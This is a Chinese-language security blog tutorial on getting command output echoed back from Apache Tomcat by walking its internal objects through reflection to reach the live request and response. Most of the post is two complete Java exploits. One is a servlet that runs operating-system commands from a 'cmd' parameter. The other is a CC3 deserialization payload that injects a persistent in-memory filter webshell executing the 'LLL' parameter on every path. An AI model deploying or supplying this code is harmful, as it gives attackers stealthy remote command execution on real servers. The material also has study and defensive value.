前言
上次讲到了使用反序列化注入的一种回显方法-ThreadLocal回显,这次我们来学习一下另一种-全局Response回显。
全局Response
分析
之前在学习servlet内存马的时候,我们对请求的获取分析是从Http11Processor开始的,这次我们起一个简单的服务回看整个调用栈,找到Http11Processor这个类,我们会看到

出现了request和response,我们可以看到这两个属性是来自它的父类AbstractProcessor
那我们要想怎么获取到AbstractProcessor这个类,回看调用栈可以看到

AbstractProcessor这个类是继承于AbstractProcessorLight,而AbstractProcessorLight又出在了调用栈中,但是调用栈是没有AbstractProcessor这个类的引用的,我们只能使用Http11Processor来获取request和response。所以问题还是抛给到了对Http11Processor的获取。
这就来到了ConnectionHandler

这里就注册了Http11Processor这个类,可以跟进去看一下具体的逻辑。

在这里面将request的信息封装进了RequestInfo,然后存进了global属性中

所以这里我们如果获取到global属性,也就能够获得request,这时思路又发生了改变,那么我们需要获取到ConnectionHandler这个类,ConnectionHandler这个类算是AbstractProtocol的副类,看到

这里有set方法将这个handler进行了一个储存,那肯定有一个对应的get方法可以把这个ConnectionHandler给去出来。(这里可以通过反射调用getHandler来实现)。
没有sethandler方法的是tomcat的版本过低导致的。
那么如何获取AbstractProtocol?这里是通过一个子类获取父类的方法实现的,我们来看这个比较重要的子类-Http11NioProtocol
那么Http11NioProtocol是怎么获得的,我们每发送一次请求都会通过Connector获取到Http11NioProtocol,(前提是Http/1.1的请求协议)那么如何获取到Connector?

可以看一下这个图Connector不用多说,肯定在一个service中,这里来看一下standardservice

可以看到addConnector方法把connector全部存进了connector,所以我们还是需要做一个遍历把我们需要的http请求协议内置的connector,拿出来,这样就可以获取到Http11NioProtocol类,然后就可以正常继续向下进行了。
那么就来到了最后一个问题,怎么获得standardservice?
在tomcat中为了解决类名相同情况下的类加载问题,一般内置了ClassLoader,来隔离web容器的类加载工作-WebappClassLoader,这里有一个作用WebappClassLoader的类,是Thread,而且这个类在整个过程中我们肯定是能用的,并且这个类有getContextClassLoader这个方法,所以我们就可以通过Thread.currentThread().getContextClassLoader()方法来获取到WebappClassLoader。WebappClassLoader又继承WebappClassLoaderBase,其主要的逻辑还是要靠它的父类。

这里我们找到了getResources,它获取到的就是StandardRoot,从StandardRoot,我们可以通过standardRoot.getContext来获取StandardContext,standardService是在ApplicationContext中的,所以我们用StandardContext获取到ApplicationContext在获取到standardservice就完成了。
总结
当一个web容器在运行中,可以通过Thread.currentThread().getContextClassLoader()来获取到WebappClassLoader,从WebappClassLoader获取StandardContext,在到ApplicationContext,在到standardservice,然后在从service里遍历connector,找到属于http协议的connector,这样我们也就得到了Http11NioProtocol,作为子类,我们可以获取到它的父类-AbstractProtocol然后可以通过getHandler方法得到ConnectionHandler,拿到global属性,这样也就获得了request和response
Exp
全局Response回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| package com.test.ncm4; import org.apache.catalina.Context; import org.apache.catalina.WebResourceRoot; import org.apache.catalina.connector.Connector; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.core.StandardService; import org.apache.catalina.loader.WebappClassLoader; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.coyote.AbstractProtocol; import org.apache.coyote.Processor; import org.apache.coyote.RequestGroupInfo; import org.apache.coyote.RequestInfo; import org.apache.tomcat.util.net.AbstractEndpoint; import org.springframework.core.io.Resource; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; @WebServlet(urlPatterns = "/test1") public class test1 extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); Class<? extends WebappClassLoaderBase> aClass = WebappClassLoaderBase.class; Field declaredField = aClass.getDeclaredField("resources"); declaredField.setAccessible(true); WebResourceRoot r = (WebResourceRoot) declaredField.get(contextClassLoader); Context context = r.getContext(); Field declaredField1 = StandardContext.class.getDeclaredField("context"); declaredField1.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) declaredField1.get(context); Field declaredField2 = applicationContext.getClass().getDeclaredField("service"); declaredField2.setAccessible(true); StandardService standardService = (StandardService) declaredField2.get(applicationContext); Class<? extends StandardService> aClass1 = standardService.getClass(); Field declaredField3 = aClass1.getDeclaredField("connectors"); declaredField3.setAccessible(true); Connector[] connectors = (Connector[]) declaredField3.get(standardService); for (Connector connector : connectors) { if (connector.getScheme().contains("http")) { AbstractProtocol protocolHandler = (AbstractProtocol) connector.getProtocolHandler(); Class<? extends AbstractProtocol> aClass2 = AbstractProtocol.class; Method getHandler = aClass2.getDeclaredMethod("getHandler"); getHandler.setAccessible(true); AbstractEndpoint.Handler connectionhandler = (AbstractEndpoint.Handler)getHandler.invoke(protocolHandler); Class<? extends AbstractEndpoint.Handler> aClass3 = connectionhandler.getClass(); Field declaredField4 = aClass3.getDeclaredField("global"); declaredField4.setAccessible(true); RequestGroupInfo global = (RequestGroupInfo) declaredField4.get(connectionhandler); Class<? extends RequestGroupInfo> aClass4 = global.getClass(); Field declaredField5 = aClass4.getDeclaredField("processors"); declaredField5.setAccessible(true); ArrayList processors = (ArrayList) declaredField5.get(global); for (Object processor : processors) { RequestInfo processor1 = (RequestInfo) processor; if(processor1.getCurrentQueryString().contains("cmd")){ Field declaredField6 = processor1.getClass().getDeclaredField("req"); declaredField6.setAccessible(true); org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request) declaredField6.get(processor1); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) coyoteReq.getNote(1); Response response = request.getResponse(); InputStream inputStream = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int len; byte[] buffer = new byte[1024]; while ((len = inputStream.read(buffer)) != -1) { response.getOutputStream().write(buffer, 0, len); } } } } } }catch (Exception e){ e.printStackTrace(); } } }
|
这是全局Response回显,并没有配合反序列化注入。
注意点:在调用getProtocolHandler()和getContextClassLoader()的时候返回的都是,你用来接的类的子类,不能直接用来getClass。(我基础有点差,到这里的时候卡住了,还好有ai的帮助)

到这里可以进行RCE了
利用反序列化注入内存马
反序列化链还是cc3
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166
| package com.test.ncm4; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Context; import org.apache.catalina.WebResourceRoot; import org.apache.catalina.connector.Connector; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.catalina.core.StandardService; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.coyote.*; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import org.apache.tomcat.util.net.AbstractEndpoint; import javax.servlet.*; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Map; public class test extends AbstractTranslet implements Filter { public test(){ try {//先获取Standardcontext WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); Class<WebappClassLoaderBase> webappClassLoaderBaseClass = WebappClassLoaderBase.class; Field declaredField = webappClassLoaderBaseClass.getDeclaredField("resources"); declaredField.setAccessible(true); WebResourceRoot webResourceRoot = (WebResourceRoot) declaredField.get(contextClassLoader); StandardContext context = (StandardContext) webResourceRoot.getContext(); //再获取到ApplicationContext Field declaredField1 = StandardContext.class.getDeclaredField("context"); declaredField1.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) declaredField1.get(context); //StandService Class<ApplicationContext> applicationContextClass = ApplicationContext.class; Field declaredField2 = applicationContextClass.getDeclaredField("service"); declaredField2.setAccessible(true); StandardService standardService = (StandardService) declaredField2.get(applicationContext); //获取到connectors Field declaredField3 = StandardService.class.getDeclaredField("connectors"); declaredField3.setAccessible(true); Connector[] connectors = (Connector[]) declaredField3.get(standardService); //循环判断出有http的connector for(Connector connector : connectors) { if (connector.getScheme().contains("http")) { //拿AbstractProtocol AbstractProtocol protocolHandler = (AbstractProtocol) connector.getProtocolHandler(); Class<AbstractProtocol> abstractProtocolClass = AbstractProtocol.class; Method getHandler = abstractProtocolClass.getDeclaredMethod("getHandler"); getHandler.setAccessible(true); AbstractEndpoint.Handler invoke = (AbstractEndpoint.Handler) getHandler.invoke(protocolHandler); //获取global Class<? extends AbstractEndpoint.Handler> aClass = invoke.getClass(); Field declaredField4 = aClass.getDeclaredField("global"); declaredField4.setAccessible(true); RequestGroupInfo requestGroupInfo = (RequestGroupInfo) declaredField4.get(invoke); //获取processors Class<RequestGroupInfo> requestGroupInfoClass = RequestGroupInfo.class; Field declaredField5 = requestGroupInfoClass.getDeclaredField("processors"); declaredField5.setAccessible(true); ArrayList arrayList = (ArrayList) declaredField5.get(requestGroupInfo); //获取我们需要的请求 for(Object object : arrayList) { RequestInfo requestInfo = (RequestInfo) object; if(requestInfo.getCurrentQueryString().contains("LLL")){ Class<? extends RequestInfo> aClass1 = requestInfo.getClass(); Field declaredField6 = aClass1.getDeclaredField("req"); declaredField6.setAccessible(true); Request request1 = (Request) declaredField6.get(requestInfo); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) request1.getNote(1); //利用当前的请求获取StandContext(这里和上述的是不同的) StandardContext context1 = (StandardContext) request.getContext(); Field declaredField7 = StandardContext.class.getDeclaredField("filterConfigs"); declaredField7.setAccessible(true); Map map = (Map) declaredField7.get(context); //设置filterDef Class<?> aClass2 = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor<?> declaredConstructor = aClass2.getDeclaredConstructor(); FilterDef filterDef = (FilterDef) declaredConstructor.newInstance(); filterDef.setFilter(this); filterDef.setFilterName("filter1"); filterDef.setFilterClass(this.getClass().getName()); context1.addFilterDef(filterDef); //设置filtermap Class<?> aClass3 = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor1 = aClass3.getDeclaredConstructor(); declaredConstructor1.setAccessible(true); FilterMap filterMap = (FilterMap) declaredConstructor1.newInstance(); filterMap.addURLPattern("/*"); filterMap.setFilterName("filter1"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); context1.addFilterMapBefore(filterMap); //反射获取ApplicationFilterConfig,构造方法将FilterDef传入后.-,获取filterConfigs后,将设置好的filterConfig添加进去 Class<?> aClass4 = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor2 = aClass4.getDeclaredConstructor(Context.class, FilterDef.class); declaredConstructor2.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor2.newInstance(context1, filterDef); map.put("filter1",applicationFilterConfig); } } } } }catch (Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { try { if(request.getParameter("LLL")!=null){ InputStream inputStream = Runtime.getRuntime().exec(request.getParameter("LLL")).getInputStream(); int len; byte[] buffer = new byte[1024]; while ((len = inputStream.read(buffer)) != -1) { response.getOutputStream().write(buffer, 0, len); } //直接return,否则会报错 response.getOutputStream().flush(); response.getOutputStream().close(); return; } }catch (Exception e){ e.printStackTrace(); } } }
|

参考
Tomcat型内存马回显以及反序列化写入 | stoocea’s blog
Tomcat内存马回显 - F12~ - 博客园